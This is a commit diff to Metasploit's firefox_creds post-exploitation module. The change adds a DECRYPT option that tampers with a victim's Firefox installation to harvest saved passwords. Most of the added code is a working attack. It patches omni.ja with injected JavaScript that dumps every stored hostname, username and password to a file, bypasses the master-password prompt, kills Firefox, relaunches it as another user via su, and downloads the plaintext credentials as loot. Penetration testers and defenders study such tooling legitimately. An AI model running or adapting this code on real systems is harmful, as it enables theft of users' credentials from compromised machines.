Land #1903 - Add decryptioin for firefox_creds

unstable
sinn3r 2013-06-04 11:38:03 -05:00
commit e70221a993
1 changed files with 385 additions and 19 deletions

View File

@ -7,12 +7,18 @@
require 'msf/core'
require 'rex'
require 'zip/zip'
require 'tmpdir'
require 'msf/core/post/file'
require 'msf/core/post/common'
require 'msf/core/auxiliary/report'
require 'msf/core/post/windows/user_profiles'
class Metasploit3 < Msf::Post
include Msf::Post::File
include Msf::Post::Common
include Msf::Auxiliary::Report
include Msf::Post::Windows::UserProfiles
def initialize(info={})
@ -26,52 +32,115 @@ class Metasploit3 < Msf::Post
Firefox stores passwords within the signons.sqlite database file. There is also a
keys3.db file which contains the key for decrypting these passwords. In cases where
a Master Password has not been set, the passwords can easily be decrypted using
third party tools. If a Master Password was used the only option would be to
bruteforce.
third party tools or by setting the DECRYPT option to true. Using the latter often
needs root privileges. If a Master Password was used the only option would be
to bruteforce.
},
'License' => MSF_LICENSE,
'Author' => ['bannedit'],
'Author' =>
[
'bannedit',
'xard4s' # added decryption support
],
'Platform' => ['win', 'linux', 'bsd', 'unix', 'osx'],
'SessionTypes' => ['meterpreter', 'shell' ]
))
register_options(
[
OptBool.new('DECRYPT', [false, 'Decrypts passwords without third party tools', false])
]
)
#TODO
# - add support for decrypting the passwords without a Master Password
# - Collect cookies.
end
def run
paths = []
print_status("Determining session platform and type...")
case session.platform
when /unix|linux|bsd/
@platform = :unix
paths = enum_users_unix
when /osx/
@platform = :osx
paths = enum_users_unix
when /win/
if session.type != "meterpreter"
print_error "Only meterpreter sessions are supported on windows hosts"
return
end
grab_user_profiles().each do |user|
next if user['AppData'] == nil
dir = check_firefox(user['AppData'])
if dir
paths << dir
end
end
@platform = :windows
else
print_error("Unsupported platform #{session.platform}")
return
end
if paths.nil?
print_error("No users found with a Firefox directory")
return
if datastore['DECRYPT']
omnija = nil
org_file = 'omni.ja'
new_file = Rex::Text::rand_text_alpha(5 + rand(3)) + ".ja"
# sets @paths
return unless get_ff_and_loot_path
print_status("Downloading #{org_file} from #{@paths['ff']}")
omnija = read_file(@paths['ff']+org_file)
if omnija.nil? or omnija.empty? or omnija =~ /No such file/i
print_error("Could not download #{org_file}, archive may not exist")
return
end
# cross platform local tempdir, "/" should work on windows too
tmp = Dir::tmpdir + "/" + new_file
print_status("Writing #{org_file} to local file: #{tmp}")
file_local_write(tmp, omnija)
res = nil
print_status("Extracting and modifying #{new_file}...")
begin
# automatically commits the changes made to the zip archive when
# the block terminates
Zip::ZipFile.open(tmp) do |zip_file|
res = modify_omnija(zip_file)
end
rescue Zip::ZipError => e
print_error("Error modifying #{new_file}")
return
end
if res
print_status("Successfully modified #{new_file}")
else
print_error("Failed to patch method")
return
end
print_status("Uploading #{new_file} to #{@paths['ff']}")
if not upload_file(@paths['ff']+new_file, tmp)
print_error("Could not upload #{new_file}")
return
end
return if not trigger_decrypt(org_file, new_file)
download_creds
else
paths = []
if @platform =~ /unix|osx/
paths = enum_users_unix
else # windows
grab_user_profiles().each do |user|
next if user['AppData'] == nil
dir = check_firefox(user['AppData'])
if dir
paths << dir
end
end
end
if paths.nil?
print_error("No users found with a Firefox directory")
return
end
download_loot(paths.flatten)
end
download_loot(paths.flatten)
end
def enum_users_unix
@ -195,6 +264,262 @@ class Metasploit3 < Msf::Post
end
end
# checks for needed privileges and wheter Firefox is installed
def get_ff_and_loot_path
@paths = {}
check_paths = []
drive = expand_path("%SystemDrive%")
loot_file = Rex::Text::rand_text_alpha(6) + ".txt"
case @platform
when /win/
if !got_root? and session.sys.config.sysinfo['OS'] !~ /xp/i
print_error("You need root privileges on this platform for DECRYPT option")
return false
end
tmpdir = expand_path("%TEMP%") + "\\"
# this way allows for more independent use of meterpreter
# payload (32 and 64 bit) and cleaner code
check_paths << drive + '\\Program Files\\Mozilla Firefox\\'
check_paths << drive + '\\Program Files (x86)\\Mozilla Firefox\\'
when /unix/
tmpdir = '/tmp/'
if cmd_exec("whoami").chomp !~ /root/
print_error("You need root privileges on this platform for DECRYPT option")
return false
end
# unix matches linux|unix|bsd but bsd is not supported
if session.platform =~ /bsd/
print_error("Sorry, bsd is not supported by the DECRYPT option")
return false
end
check_paths << '/usr/lib/firefox/'
check_paths << '/usr/lib64/firefox/'
when /osx/
tmpdir = '/tmp/'
check_paths << '/applications/firefox.app/contents/macos/'
end
@paths['ff'] = check_paths.find do |p|
check = p.sub(/(\\|\/)(mozilla\s)?firefox.*/i, '')
print_status("Checking for Firefox directory in: #{check}")
if directory?(p.sub(/(\\|\/)$/, ''))
print_good("Found Firefox directory")
true
else
print_error("No Firefox directory found")
false
end
end
return false if @paths['ff'].nil?
@paths['loot'] = tmpdir + loot_file
return true
end
def modify_omnija(zip)
files = [
'components/storage-mozStorage.js',
'chrome/toolkit/content/passwordmgr/passwordManager.xul',
'chrome/toolkit/content/global/commonDialog.xul',
'jsloader/resource/gre/components/storage-mozStorage.js'
]
arya = files.map do |file|
fdata = {}
fdata['content'] = zip.read(file) unless file =~ /jsloader/
fdata['outs'] = zip.get_output_stream(file)
fdata
end
stor_js, pwd_xul, dlog_xul, res_js = arya
stor_js['outs_res'] = res_js['outs']
wnd_close = "window.close();"
onload = "Startup(); SignonsStartup(); #{wnd_close}"
# get rid of (possible) master password prompt and close pwd
# manager immediately
dlog_xul['content'].sub!(/commonDialogOnLoad\(\)/, wnd_close)
dlog_xul['outs'].write(dlog_xul['content'])
dlog_xul['outs'].close
pwd_xul['content'].sub!(/Startup\(\); SignonsStartup\(\);/, onload)
pwd_xul['outs'].write(pwd_xul['content'])
pwd_xul['outs'].close
# returns true or false
return patch_method(stor_js)
end
# Patches getAllLogins() method from storage-mozStorage.js
def patch_method(stor_js)
data = ""
# imports needed for IO
imports = %Q|
Components.utils.import("resource://gre/modules/NetUtil.jsm");
Components.utils.import("resource://gre/modules/FileUtils.jsm");
Components.utils.import("resource://gre/modules/XPCOMUtils.jsm");
|
# Javascript code to intercept the logins array and write the
# credentials to a file
method_epilog = %Q|
var data = "";
var path = "#{@paths['loot'].inspect.gsub(/"/, '')}";
var file = new FileUtils.File(path);
var outstream = FileUtils.openSafeFileOutputStream(file);
var converter = Components.classes["@mozilla.org/intl/scriptableunicodeconverter"].
createInstance(Components.interfaces.nsIScriptableUnicodeConverter);
converter.charset = "UTF-8";
if (logins.length != 0) {
for (var i = 0; i < logins.length; i++) {
data += logins[i].hostname + " :: " + logins[i].username + " :: " + logins[i].password + " ^";
}
} else {
data = "no creds";
}
var istream = converter.convertToInputStream(data);
NetUtil.asyncCopy(istream, outstream);
return logins;
|
regex = [
nil,
[/return\slogins;/, method_epilog],
[/getAllLogins\s:\sfunction\s\(count\)\s{/, nil],
[/Components\.utils\.import\("resource:\/\/gre\/modules\/XPCOMUtils\.jsm"\);/, imports]
]
# match three regular expressions
i = 3
stor_js['content'].each_line do |line|
# there is no real substitution if the matching regex
# has no corresponding patch code
if i != 0 and line.sub!(regex[i][0]) do |match|
if not regex[i][1].nil?
regex[i][1]
else
line
end
end
i -= 1
end
data << line
end
# write the same data to both output streams
stor_js['outs'].write(data)
stor_js['outs_res'].write(data)
stor_js['outs'].close
stor_js['outs_res'].close
i == 0 ? 'return true' : 'return false'
end
# Starts a new firefox process and triggers decryption
def trigger_decrypt(org_file, new_file)
temp_file = "orgomni.ja"
[org_file, new_file, temp_file].each do |f|
f.insert(0, @paths['ff'])
end
# firefox command line arguments
args = '-purgecaches -chrome chrome://passwordmgr/content/passwordManager.xul'
# In case of unix-like platform Firefox needs to start under user
# context
if @platform =~ /unix/
# assuming userdir /home/(x) = user
print_status("Enumerating users...")
users = cmd_exec("ls /home")
if users.nil? or users.empty?
print_error("No normal user found")
return false
end
user = users.split()[0]
# Since we can't access the display environment variable
# we have to assume the default value
args.insert(0, "\"#{@paths['ff']}firefox --display=:0 ")
args << "\""
cmd = "su #{user} -c"
elsif @platform =~ /win|osx/
cmd = @paths['ff'] + "firefox"
# on osx, run in background
args << "& sleep 5 && killall firefox" if @platform =~ /osx/
end
# check if firefox is running and kill it
if session.type == "meterpreter"
session.sys.process.each_process do |p|
if p['name'] =~ /firefox\.exe/
print_status("Found running Firefox process, attempting to kill.")
if not session.sys.process.kill(p['pid'])
print_error("Could not kill Firefox process")
return false
end
end
end
elsif session.type != "meterpreter"
p = cmd_exec("ps", "cax | grep firefox")
if p =~ /firefox/
print_status("Found running Firefox process, attempting to kill.")
term = cmd_exec("killall", "firefox && echo true")
if not term =~ /true/
print_error("Could not kill Firefox process")
return false
end
end
end
#
# rename-fu
# omni.ja -> orgomni.ja
# *random*.ja -> omni.ja
# omni.ja -> *random*.ja
# orgomni.ja -> omni.ja
#
rename_file(org_file, temp_file)
rename_file(new_file, org_file)
# automatic termination ( window.close() or arguments)
print_status("Starting Firefox process")
cmd_exec(cmd,args)
rename_file(org_file, new_file)
rename_file(temp_file, org_file)
# clean up
file_rm(new_file)
# at this time it should have a loot file
if !file?(@paths['loot'])
print_error("Decryption failed, there's probably a master password in use")
return false
end
return true
end
def download_loot(paths)
loot = ""
paths.each do |path|
@ -248,6 +573,47 @@ class Metasploit3 < Msf::Post
end
end
def download_creds
print_good("Downloading loot: #{@paths['loot']}")
loot = read_file(@paths['loot'])
if loot =~ /no creds/
print_status("No Firefox credentials where found")
return
end
cred_table = Rex::Ui::Text::Table.new(
'Header' => 'Firefox credentials',
'Indent' => 1,
'Columns'=>
[
'Hostname',
'User',
'Password'
]
)
creds = loot.split("^")
creds.each do |cred|
hostname, user, pass = cred.rstrip.split(" :: ")
cred_table << [hostname, user, pass]
end
print_line("\n" + cred_table.to_s)
path = store_loot(
"firefox.creds",
"text/plain",
session,
cred_table.to_csv,
"firefox_credentials.txt",
"Firefox Credentials")
# better delete the remote creds file
file_rm(@paths['loot'])
end
def got_root?
case @platform
when :windows